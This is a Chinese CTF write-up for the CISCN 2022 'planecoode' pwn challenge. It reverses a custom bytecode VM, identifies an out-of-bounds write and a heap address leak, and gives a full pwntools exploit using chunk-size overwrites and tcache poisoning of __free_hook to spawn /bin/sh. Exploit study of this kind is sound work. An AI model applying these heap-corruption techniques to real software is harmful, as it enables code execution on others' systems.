# CISCN_2022 planecoode

这个题目算是一个 llvm 的题目,对于我们输入的 code 进行解析操作,但是逆向的工程量很大,设计了很多 if,else 的模块,对应众多的操作。而且并不是说常规 vm 那种可以解析出常见汇编指令格式的操作码。而且使用了很多数据的转换操作,比如 BYTE1~BYTE5,HIBYTE,LOBYTE 等等,这些东西是我们必须回的东西。

然后经过我长时间的解析,大概猜出来了流程,我们指定最开始的 xy, 这是边界限制,申请出来 8*x*y 字节的空间,然后对应的 (x,y) 的位置是一个 code,code 为 8 字节 64 位,储存在上述空间,然后开辟一个 x*y 大小的 stack,用来储存数据。

下面的就是对于 code 解析处理,我们看到每次处理都是以 8 字节位单位,根据 x,y 来取指令,我们最简单的无疑是顺序取指。如何实现顺序取指?我们看看取指令的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 entry()
{
__int64 result; // rax
void *vale; // [rsp+0h] [rbp-10h]

init_SIZE(); // 确定XY的范围
map = (__int64 **)init_map(size_X, size_Y);
set_code_data(); // 填入code数据
sub_E91(); // 选择初始位置
sub_1583(); // 模拟栈空间
do
{
vale = (void *)get_value_fromXY((__int64)map, size_X, size_Y, x_temp, y_temp); //根据xy来取指
result = operation(vale); // 根据我们输入的code进行操作
}
while ( result );
return result;
}

这里是函数的主入口,我们重点关注取指令跟 x,y 的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall get_value_fromXY(__int64 map, unsigned int XN, unsigned int YN, unsigned int x, unsigned int y)
{
__int64 result; // rax
__int64 pos; // [rsp+28h] [rbp-8h]

pos = get_pos(map, XN, YN, x, y);
if ( pos )
result = get_code(pos); //return *(_QWORD *)a1;
else
result = 0LL;
return result;
}

__int64 __fastcall get_pos(__int64 map, unsigned int XN, unsigned int YN, unsigned int x, unsigned int y)
{
__int64 result; // rax
__int64 pos; // [rsp+28h] [rbp-8h]

pos = check(XN, YN, x, y);
if ( pos == -1 )
result = 0LL;
else
result = 8 * pos + map;
return result;
}

__int64 __fastcall check(unsigned int XN, unsigned int YN, unsigned int x, unsigned int y)
{
__int64 result; // rax

if ( x < XN && y < YN )
result = XN * y + x;
else
result = -1LL;
return result;
}


最内部是对我们提供的用来定位的 xy 的检查,然后 XN 是我们最开始输入的 x 的范围,因为我们确定了我们要顺序取指,所以,我这里直接将 YN 设置 1,将一个 2 维矩阵简化为以为的顺序,然后我们提供的初始位置都是从 0 开始,(0,0)并且下次取指只要对 x 进行加 1 的操作,y 一直为 0,这样从原来的 code [y][x] 直接简化为 code [x]。但是本质没有差别,知识实现了代码操作的简化。我们填入的 code,每次都会通过 strtoul (s, 0LL, 10) 转化为无符号的整数,储存在 64 位的空间中,这也是为什么我们 code 的空间是 8*x*y。

接下来就是对 code 的解析,这一部分是最恶心的,太多种情况了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
 __int64 result; // rax
int n; // [rsp+1Ch] [rbp-24h]
void *buf; // [rsp+28h] [rbp-18h]
__int64 s; // [rsp+30h] [rbp-10h] OVERLAPPED BYREF
__int64 canary; // [rsp+38h] [rbp-8h]

canary = __readfsqword(0x28u);
memset(&s, 0, sizeof(s));
s = code;
if ( (unsigned __int8)code == 0x54 ) // 输出栈顶数据一字节
{
printf("{%c}", (unsigned int)*(char *)sRSP);
goto LABEL_55;
}
if ( (unsigned __int8)code > 0x54u )
{
if ( (unsigned __int8)code == 0xCC )
{
pop_(1u); // 数值与初始值相比,大于等于1,现在的数值就减一
goto LABEL_55;
}
if ( (unsigned __int8)code > 0xCCu )
{
if ( (unsigned __int8)code != 0xD0 )
{
if ( (unsigned __int8)code > 0xD0u )
{
if ( (unsigned __int8)code == 0xD1 ) // 结束
return 0LL;
if ( (unsigned __int8)code == 0xDA && *(int *)((char *)&s + 1) < size_X * size_Y )// 只检查了offset是否大于边界,但是未考虑到rsp,数组越界
*(_BYTE *)(sRSP + *(int *)((char *)&s + 1)) = BYTE5(s);
}
else if ( (unsigned __int8)code == 0xCD )
{
buf = malloc(BYTE1(s)); // malloc (0xe0)
printf("content: ");
n = read(0, buf, BYTE1(s)); // read 0xcd
if ( n > 0 && *((_BYTE *)buf + n - 1) == '\n' )
*((_BYTE *)buf + n - 1) = 0;
printf("You say \"%s\"\n", (const char *)buf);// 泄露地址
free(buf);
}
goto LABEL_55;
}
}
else
{
if ( (unsigned __int8)code == 0x98 )
{
pop_(4u); // pop (int)
goto LABEL_55;
}
if ( (unsigned __int8)code != 0xCA )
{
if ( (unsigned __int8)code == 0x6A )
{
*(_BYTE *)sRSP -= BYTE1(s); // [rsp] - [code]
rsp_add_1(1u);
}
goto LABEL_55;
}
}
*(_BYTE *)sRSP = BYTE1(s);
rsp_add_1(1u);
goto LABEL_55;
}
if ( (unsigned __int8)code == 54 )
{
*(_BYTE *)sRSP = sub_CBE(); // push 1 bytes
rsp_add_1(1u);
}
else if ( (unsigned __int8)code > 0x36u )
{
if ( (unsigned __int8)code == 0x45 ) // push 4byte
{
*(_BYTE *)sRSP = BYTE1(s);
rsp_add_1(1u);
*(_BYTE *)sRSP = BYTE2(s);
rsp_add_1(1u);
*(_BYTE *)sRSP = BYTE3(s);
rsp_add_1(1u);
*(_BYTE *)sRSP = BYTE4(s);
rsp_add_1(1u);
}
else if ( (unsigned __int8)code > 0x45u ) // BYTEx是对64位code进行拆分,0为最低位
{
if ( (unsigned __int8)code == 73 )
{
if ( (BYTE2(s) << 8) + (unsigned int)BYTE1(s) <= size_X && (BYTE4(s) << 8) + (unsigned int)BYTE3(s) <= size_Y )
{
x_temp = (BYTE2(s) << 8) + BYTE1(s);
y_temp = (BYTE4(s) << 8) + BYTE3(s); // 设置下一个start的位置,相当于jmp
}
}
else if ( (unsigned __int8)code == 82 )
{
*(_BYTE *)sRSP += BYTE1(s);
rsp_add_1(1u);
}
}
else if ( (unsigned __int8)code == 65 && BYTE1(s) )
{
*(_BYTE *)sRSP = *(char *)sRSP / (__int16)BYTE1(s);
rsp_add_1(1u);
}
}
else
{
switch ( (unsigned __int8)code )
{
case 0x13u:
if ( chance <= 0 ) // 重置
return 0LL;
set_code_data();
sub_E91();
--chance;
return 1LL;
case 0x33u:
*(_BYTE *)sRSP ^= BYTE1(s);
rsp_add_1(1u);
break;
case 0x12u:
*(_BYTE *)sRSP *= BYTE1(s);
rsp_add_1(1u);
break;
}
}
LABEL_55:
switch ( HIBYTE(s) ) // 最后一字节
{
case 1:
sub_F6F(-1, -1); // x-1,y-1
goto LABEL_65;
case 2:
sub_F6F(0, -1); // y-1
goto LABEL_65;
case 3:
sub_F6F(1, -1); // x+1,y-1
goto LABEL_65;
case 4:
sub_F6F(-1, 0); // x-1
goto LABEL_65;
case 6:
sub_F6F(1, 0); // x+1
goto LABEL_65;
case 7:
sub_F6F(-1, 1); // x-1,y+1
goto LABEL_65;
case 8:
sub_F6F(0, 1); // y+1
goto LABEL_65;
case 9:
sub_F6F(1, 1); // x+1,y+1
LABEL_65:
result = 1LL;
break;
default:
puts("End!");
result = 0LL;
break;
}
return result;
}

看着这一摊东西,忍不住骂娘。

先看最简单的,如何实现移动,也就是对 x,y 的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  switch ( HIBYTE(s) )                          // 最后一字节
{
case 1:
sub_F6F(-1, -1); // x-1,y-1
goto LABEL_65;
case 2:
sub_F6F(0, -1); // y-1
goto LABEL_65;
case 3:
sub_F6F(1, -1); // x+1,y-1
goto LABEL_65;
case 4:
sub_F6F(-1, 0); // x-1
goto LABEL_65;
case 6:
sub_F6F(1, 0); // x+1
goto LABEL_65;
case 7:
sub_F6F(-1, 1); // x-1,y+1
goto LABEL_65;
case 8:
sub_F6F(0, 1); // y+1
goto LABEL_65;
case 9:
sub_F6F(1, 1); // x+1,y+1
LABEL_65:
result = 1LL;
break;
default:
puts("End!");
result = 0LL;
break;

这里的 s 就是我们的 code,首先这个 HIBYTE 就烦人,一开始对所有的 BYTE 都不理解。这里呢会根据传进去的数据,返回 16 进制数的最高位,也就是说会返回我们写入的 code 第 8 字节,联系上问提到的,顺序取值,只要修改 x, 即令 code 的最高位为 6。

除去这部分,就是对指令代码的解析,最低字节为操作码,其余为数据。先说明下怎么操作,大部分都是对栈顶中的数据进行操作,(这点我有些不理解,因为这栈顶的数据应该都是 0 啊。)然后操作码大致被分为三类,小于 0x36, 小于 0x54, 大于 0x54

小于等于 0x36 的这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
switch ( (unsigned __int8)code )
{
case 0x13u:
if ( chance <= 0 ) // 重置code和初始xy位置
return 0LL;
set_code_data();
sub_E91();
--chance;
return 1LL;
case 0x33u:
*(_BYTE *)sRSP ^= BYTE1(s); //异或
rsp_add_1(1u);
break;
case 0x12u:
*(_BYTE *)sRSP *= BYTE1(s); //乘法
rsp_add_1(1u);
break;
}

if ( (unsigned __int8)code == 0x36 )
{
*(_BYTE *)sRSP = sub_CBE(); // push 1 bytes
rsp_add_1(1u);
}

大于 0x36,小于 0x54 的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
else if ( (unsigned __int8)code > 0x36u )
{
if ( (unsigned __int8)code == 0x45 ) // push 4byte
{
*(_BYTE *)sRSP = BYTE1(s);
rsp_add_1(1u);
*(_BYTE *)sRSP = BYTE2(s);
rsp_add_1(1u);
*(_BYTE *)sRSP = BYTE3(s);
rsp_add_1(1u);
*(_BYTE *)sRSP = BYTE4(s);
rsp_add_1(1u);
}
else if ( (unsigned __int8)code > 0x45u ) // BYTEx是对64位code进行拆分,0为最低位
{
if ( (unsigned __int8)code == 73 )
{
if ( (BYTE2(s) << 8) + (unsigned int)BYTE1(s) <= size_X && (BYTE4(s) << 8) + (unsigned int)BYTE3(s) <= size_Y )
{
x_temp = (BYTE2(s) << 8) + BYTE1(s);
y_temp = (BYTE4(s) << 8) + BYTE3(s); // 设置下一个start的位置,相当于jmp
}
}
else if ( (unsigned __int8)code == 0x52 )
{
*(_BYTE *)sRSP += BYTE1(s);
rsp_add_1(1u);
}
}
else if ( (unsigned __int8)code == 0x41 && BYTE1(s) )
{
*(_BYTE *)sRSP = *(char *)sRSP / (__int16)BYTE1(s);
rsp_add_1(1u);
}
}

大于等于 0x54 的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
if ( (unsigned __int8)code == 0x54 )          // 输出栈顶数据一字节
{
printf("{%c}", (unsigned int)*(char *)sRSP);
goto LABEL_55;
}
if ( (unsigned __int8)code > 0x54u )
{
if ( (unsigned __int8)code == 0xCC )
{
pop_(1u); // 数值与初始值相比,大于等于1,现在的数值就减一
goto LABEL_55;
}
if ( (unsigned __int8)code > 0xCCu )
{
if ( (unsigned __int8)code != 0xD0 )
{
if ( (unsigned __int8)code > 0xD0u )
{
if ( (unsigned __int8)code == 0xD1 ) // 结束
return 0LL;
if ( (unsigned __int8)code == 0xDA && *(int *)((char *)&s + 1) < size_X * size_Y )// 只检查了offset是否大于边界,但是未考虑到rsp,数组越界
*(_BYTE *)(sRSP + *(int *)((char *)&s + 1)) = BYTE5(s);
}
else if ( (unsigned __int8)code == 0xCD )
{
buf = malloc(BYTE1(s)); // malloc (0xe0)
printf("content: ");
n = read(0, buf, BYTE1(s)); // read 0xcd
if ( n > 0 && *((_BYTE *)buf + n - 1) == '\n' )
*((_BYTE *)buf + n - 1) = 0;
printf("You say \"%s\"\n", (const char *)buf);// 泄露地址
free(buf);
}
goto LABEL_55;
}
}
else
{
if ( (unsigned __int8)code == 0x98 )
{
pop_(4u); // pop (int)
goto LABEL_55;
}
if ( (unsigned __int8)code != 0xCA )
{
if ( (unsigned __int8)code == 0x6A )
{
*(_BYTE *)sRSP -= BYTE1(s); // [rsp] - [code]
rsp_add_1(1u);
}
goto LABEL_55;
}
}
*(_BYTE *)sRSP = BYTE1(s);
rsp_add_1(1u);
goto LABEL_55;
}

基本的运算都是字节进行操作,

  • 0x12 乘法运算
  • 0x13 重置 code,x,y,只有一次机会,利用的是原来的空间
  • 0x33 异或运算
  • 0x36 push 一字节的数据,数据来源于输入,我们输入 48 字节的数据,但是只用一字节,
  • 0x41 除法运算
  • 0x45 push 4 字节的数据
  • 0x49 设置 x,y, 跳转至目标位置 code,第 2,3 字节用于 x,4,5 字节用于 y。
  • 0x52 加法运算
  • 0x54 输出一字节栈顶的数据
  • 0x6a 减法运算
  • 0x98 pop 4 字节的数据
  • 0xcc pop 一字节的数据
  • 0xcd 读入 content 并且输出,虽然检查换行,但是满输入可以泄露地址。malloc 的参数只有一字节,所以 chunk 的大小为 0x20-0xf0。free 后没有情空指针。但是未发现 uaf
  • 0xd1 程序结束
  • 0xda rsp+offset 的位置写一字节的数据。这里存在数组越界,因为只会检查 offset 是否超过 X*Y 的范围,但是没有考虑到如果加上 rsp 的条件

因为他这个栈顶是有点问题的,栈空间已经被初始化为空的,大部分操作都会对 rsp+1,所以理论上栈顶的数据都是空的,一次 pop 也是空的。pop 要满足里面至少有一个数据,rsp-rbp>=1, 但是 push 的操作不会检查是否溢出和越界。pop 只会更改 rsp 指向,但不会改变原始数据。

这个题最大问题就在与 0xda,正常来说,我们应该只能改变他所定义的那个类似于栈的空间的数据,那么应该是 rbp+offset,但是这里写的是 rsp,就导致了,如果我们的 XN*YN 比较大,offset 可以轻松绕过检查,但是我们将他的 stack 填充很多垃圾,rsp 距离下一个堆块比较近,就导致了 rsp+offset 越界了,起码可以修改到下一个 chunk 的 size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(jmp(0,0))

code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(jmp(0,1))

思路就是我们通过 push (imm32) 来将 rsp 变得比较大,下面的 chunk 最开始是未分配,还是 topchunk,而程序会连续的 malloc,free 用于储存 content 的 chunk。我已为了构造一个较大的空间,我们连续的申请出 0x10,0x20,0x30,0x40…0xe0 的空间用看来布置 fakechunk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e79000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e79250
Size: 0x331

Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e79580
Size: 0x71

Free chunk (tcache) | PREV_INUSE
Addr: 0x55a9a9e795f0
Size: 0x21
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x55a9a9e79610
Size: 0x31
fd: 0x00
~~~~~
Free chunk (tcache) | PREV_INUSE
Addr: 0x55a9a9e79ac0
Size: 0xd1
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x55a9a9e79b90
Size: 0xe1
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x55a9a9e79c70
Size: 0x20391
pwndbg>

通过溢出,我们修改第一个 chunk 的 size 为 largebin 的范围.

1
2
code.append(write(0x21,0x4))
code.append(write(0x20,0xd1))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
结果如下,
pwndbg> x/28gx 0x55a9a9e79580
0x55a9a9e79580: 0x0000000000000000 0x0000000000000071
0x55a9a9e79590: 0xffffffffffffffff 0xffffffffffffffff
0x55a9a9e795a0: 0xffffffffffffffff 0xffffffffffffffff
0x55a9a9e795b0: 0xffffffffffffffff 0xffffffffffffffff
0x55a9a9e795c0: 0xffffffffffffffff 0xffffffffffffffff
0x55a9a9e795d0: 0xffffffffffffffff 0x0000000000000000
0x55a9a9e795e0: 0x0000000000000000 0x00000000000000ee
0x55a9a9e795f0: 0x0000000000000000 0x00000000000004d1
0x55a9a9e79600: 0x0000000000000000 0x000055a9a9e79010

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e79000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e79250
Size: 0x331

Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e79580
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x55a9a9e795f0
Size: 0x4d1

Free chunk (tcache) | PREV_INUSE
Addr: 0x55a9a9e79ac0
Size: 0xd1
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x55a9a9e79b90
Size: 0xe1
fd: 0x00

这样释放的时候,就不会进入 tcache。而是进入 unsortedbins,对于 content,会检查换行符,但是如果我们申请的是 8 字节,虽然同样会返回 0x20 的空间,但是,chunk 的 bk 可以被 % s 通泄露出来.(因为原本 0x20 的 chunk 被我们修改为 laegechunk 进入 unsortedbins),tcache 没有符合要求的 chunk, 从 unsortedbins 里切割出来,bk 可以泄露 libc 的地址。

下面的操作原理跟上面的一样,因为我们连续申请的一系列 chunk,存在 tcache 里面,所以,再次利用刚刚从 unsortedbins 切割出来的 chunk,(堆头和我们最开始 malloc (0x10) 一样,刚刚我们申请出来 0x20 的空间,接着马上被释放进入了 tcache,此时,tcache 的 bins 种都有一个 chunk, 我们希望通过修改其 fd 来获取目标地址。所以,我们还是把 0x20 的 chunk 拿出来,总比不过,我们向让她出来就不要再回去 0x20 的 tcachebin,而是其他位置,所以我们申请之前,再次通过越界修改他的 chunsize,我这里修改为 0x41, 这样再次申请释放后,其进入对应的 bins,fd 不为空。我这里并没有把 chunk 放入 unsortedbins 后直接申请 8 字节的空间,而是 malloc (0xf0),下一次在 malloc (0x8),结果是一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
修改前
Free chunk (tcache) | PREV_INUSE
Addr: 0x5640fd90c5f0
Size: 0x101
fd: 0x00

0x30 [ 1]: 0x5640fd90c620 ◂— 0x11
0x40 [ 1]: 0x5640fd90c650 ◂— 0x11
0x50 [ 1]: 0x5640fd90c690 ◂— 0x11
0x60 [ 1]: 0x5640fd90c6e0 ◂— 0x0
0x70 [ 1]: 0x5640fd90c740 ◂— 0x0
0x80 [ 1]: 0x5640fd90c7b0 ◂— 0x0
0x90 [ 1]: 0x5640fd90c830 ◂— 0x0
0xa0 [ 1]: 0x5640fd90c8c0 ◂— 0x0
0xb0 [ 1]: 0x5640fd90c960 ◂— 0x0
0xc0 [ 1]: 0x5640fd90ca10 ◂— 0x0
0xd0 [ 1]: 0x5640fd90cad0 ◂— 0x0
0xe0 [ 1]: 0x5640fd90cba0 ◂— 0x0
0x100 [ 1]: 0x5640fd90c600 ◂— 0x0

修改后申请、释放
0x20 [ 1]: 0x5640fd90c700 ◂— 0x0
0x30 [ 1]: 0x5640fd90c620 ◂— 0x0
0x40 [ 2]: 0x5640fd90c600 —▸ 0x5640fd90c650 ◂— 0x0
0x50 [ 1]: 0x5640fd90c690 ◂— 0x11
0x60 [ 1]: 0x5640fd90c6e0 ◂— 0x0
0x70 [ 1]: 0x5640fd90c740 ◂— 0x0
0x80 [ 1]: 0x5640fd90c7b0 ◂— 0x0
0x90 [ 1]: 0x5640fd90c830 ◂— 0x0
0xa0 [ 1]: 0x5640fd90c8c0 ◂— 0x0
0xb0 [ 1]: 0x5640fd90c960 ◂— 0x0
0xc0 [ 1]: 0x5640fd90ca10 ◂— 0x0
0xd0 [ 1]: 0x5640fd90cad0 ◂— 0x0
0xe0 [ 1]: 0x5640fd90cba0 ◂— 0x0


然后,我们还是通过越界,这次直接修改 chunk 的 fd 指针指向__free_hook-8, 因为 malloc 之后,会紧接着就释放 chunk,我们需要同时完成__free_hook 改写为 system,还要保证指针指向的内容是 “/bin/sh\x00”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> bins
tcachebins
0x20 [ 1]: 0x55bd2778d700 ◂— 0x0
0x30 [ 1]: 0x55bd2778d620 ◂— 0x0
0x40 [ 2]: 0x55bd2778d600 —▸ 0x7fd5cab318e0 (__after_morecore_hook) ◂— 0x0
0x50 [ 1]: 0x55bd2778d690 ◂— 0x11
0x60 [ 1]: 0x55bd2778d6e0 ◂— 0x0
0x70 [ 1]: 0x55bd2778d740 ◂— 0x0
0x80 [ 1]: 0x55bd2778d7b0 ◂— 0x0
0x90 [ 1]: 0x55bd2778d830 ◂— 0x0
0xa0 [ 1]: 0x55bd2778d8c0 ◂— 0x0
0xb0 [ 1]: 0x55bd2778d960 ◂— 0x0
0xc0 [ 1]: 0x55bd2778da10 ◂— 0x0
0xd0 [ 1]: 0x55bd2778dad0 ◂— 0x0
0xe0 [ 1]: 0x55bd2778dba0 ◂— 0x0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x20 [ 1]: 0x55bd2778d700 ◂— 0x0
0x30 [ 1]: 0x55bd2778d620 ◂— 0x0
0x40 [ 1]: 0x7fd5cab318e0 (__after_morecore_hook) ◂— 0x0
0x50 [ 1]: 0x55bd2778d690 ◂— 0x11
0x60 [ 1]: 0x55bd2778d6e0 ◂— 0x0
0x70 [ 1]: 0x55bd2778d740 ◂— 0x0
0x80 [ 1]: 0x55bd2778d7b0 ◂— 0x0
0x90 [ 1]: 0x55bd2778d830 ◂— 0x0
0xa0 [ 1]: 0x55bd2778d8c0 ◂— 0x0
0xb0 [ 1]: 0x55bd2778d960 ◂— 0x0
0xc0 [ 1]: 0x55bd2778da10 ◂— 0x0
0xd0 [ 1]: 0x55bd2778dad0 ◂— 0x0
0xe0 [ 1]: 0x55bd2778dba0 ◂— 0x0
0x100 [ 1]: 0x55bd2778d600 ◂— 0x0

最后的效果

1
2
3
pwndbg> tel 0x7fd5cab318e0
00:0000│ rsi 0x7fd5cab318e0 (__after_morecore_hook) ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ 0x7fd5cab318e8 (__free_hook) —▸ 0x7fd5ca793420 (system)

# 完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
from pwn import *
r=process('./planecoode')
elf =ELF('./planecoode')
libc = elf.libc
#context.log_level ='debug'
#code highest byte is 0x6
incx = 0x0600000000000000
def pop1(): #0xcc
payload = incx + 0xcc
return payload

def po4():
payload =incx +0x98
return payload

def mul(i):
payload = incx + 0x12 + i<<8
return payload

def reset():
payload = incx + 0x13
return payload

def xor(i):
payload = incx +0x33 + i<<8
return payload

def push1():
payload = incx + 0x36
return payload

def div(i):
payload = incx + 0x41 + i<<8
return payload

def push4(i):
payload = incx +0x45 +i*0x100
return payload

def jmp(x,y):
payload = 0x0800000000000000 + 0x49 + (y*0x1000000)
return payload

def add(i):
payload = incx + 0x52 + i*0x100
return payload

def sub(i):
payload = incx + 0x6a + i*0x100
return payload

def printc():
payload = incx + 0x54
return payload

def malloc(n):
payload = incx + 0xcd +n*0x100
return payload


def exit():
return incx + 0xd1

def write(wh,content): # 0<= offset <=0xffffffff
payload = incx + 0xda + wh*0x100+content*0x10000000000
return payload

def decX():
paylaod = 0x0400000000000000
return payload

def incy():
payload = 0x0800000000000000



code = []

code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(jmp(0,0))

code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(push4(0xffffffff))
code.append(jmp(0,1))


code.append(malloc(0x10))
code.append(malloc(0x20))
code.append(malloc(0x30))
code.append(malloc(0x40))
code.append(malloc(0x50))
code.append(malloc(0x60))
code.append(malloc(0x70))
code.append(malloc(0x80))
code.append(malloc(0x90))
code.append(jmp(0,2))

code.append(malloc(0xa0))
code.append(malloc(0xb0))
code.append(malloc(0xc0))
code.append(malloc(0xd0))
code.append(write(0x21,0x4))
code.append(write(0x20,0xd1))
code.append(write(0x10,0xee))
code.append(malloc(0x8))
code.append(write(0x10,0xee))
code.append(jmp(0,3))

code.append(malloc(0xf0))
code.append(malloc(0x8))
code.append(write(0x21,0x0))
code.append(write(0x20,0x41))
code.append(malloc(0xf0))
code.append(reset())
print(len(code))
nums = len(code)


Xn = 10
Yn = 10


#gdb.attach(r,'brva 0x0139D') #set
#gdb.attach(r,'brva 0x00164E') #getcode
#gdb.attach(r,'brva 0x165e') #operation
#gdb.attach(r,'brva 0x013B7')
r.sendlineafter("size X:",str(Xn))
r.sendlineafter("size Y:",str(Yn))
r.sendlineafter("How many codes do you want to set?",str(nums))

x=0
y=0
for i in range(nums):
r.sendlineafter("X:",str(x))
r.sendlineafter("Y:",str(y))
r.sendlineafter("Code:",str(code[i]))
print("\033[1;35m [+] : "+str(hex(code[i])+"\033[0m"))
x +=1
if x == Xn:
y+=1
x=0

r.sendlineafter("Start X:",str(0))
r.sendlineafter("Start Y:",str(0))
fake = p64(0)+p64(0x11)
for i in range(1,0xe,1):
r.sendlineafter("content:",fake*i)

r.sendafter("content:",b'X'*8)
r.recvuntil(b"X"*8)
libc_base = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x04f420

print("\033[1;35m [+] libc_base : "+str(hex(libc_base)+"\033[0m"))
print("\033[1;35m [+] free_hook : "+str(hex(free_hook)+"\033[0m"))
print("\033[1;35m [+] system : "+str(hex(system)+"\033[0m"))
r.sendlineafter("content:",p64(0)*1+p64(0x31)+p64(0)*7+p64(0x41))



newcode = []
key=free_hook-0x8

newcode.append(write(0x21,0x1))
newcode.append(write(0x21,0x1))
newcode.append(write(0x20,0x01))
newcode.append(write(0x28,key&0xff))
key = key>>8
newcode.append(write(0x29,key&0xff))
key = key>>8
newcode.append(write(0x2a,key&0xff))
key = key>>8
newcode.append(write(0x2b,key&0xff))
key = key>>8
newcode.append(write(0x2c,key&0xff))
key = key>>8
newcode.append(write(0x2d,key&0xff))


newcode.append(jmp(0,0))
newcode.append(malloc(0x30)) #origin
newcode.append(malloc(0x30)) #aimedn

r.sendlineafter("How many codes do you want to set? ",str(len(newcode)))
x=0
y=0
for i in range(len(newcode)):
r.sendlineafter("X:",str(x))
r.sendlineafter("Y:",str(y))
r.sendlineafter("Code:",str(newcode[i]))
print("\033[1;35m [+] : "+str(hex(newcode[i])+"\033[0m"))
x +=1
if x == Xn:
y+=1
x=0
r.sendlineafter("Start X:",str(0))
gdb.attach(r,'brva 0x0139D') #set
pause()
r.sendlineafter("Start Y:",str(0))

#gdb.attach(r,'brva 0x1439') # malloc printf("you say")

r.sendlineafter("content:",b'aaaaaa\n')
r.sendlineafter("content:",b"/bin/sh\x00"+p64(system))


r.interactive()

# 备注:

因为博客环境搭建问题,不能上传图片和文件包,需要题目及 ida 的逆向文件的朋友,可联系 QQ3263367390

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal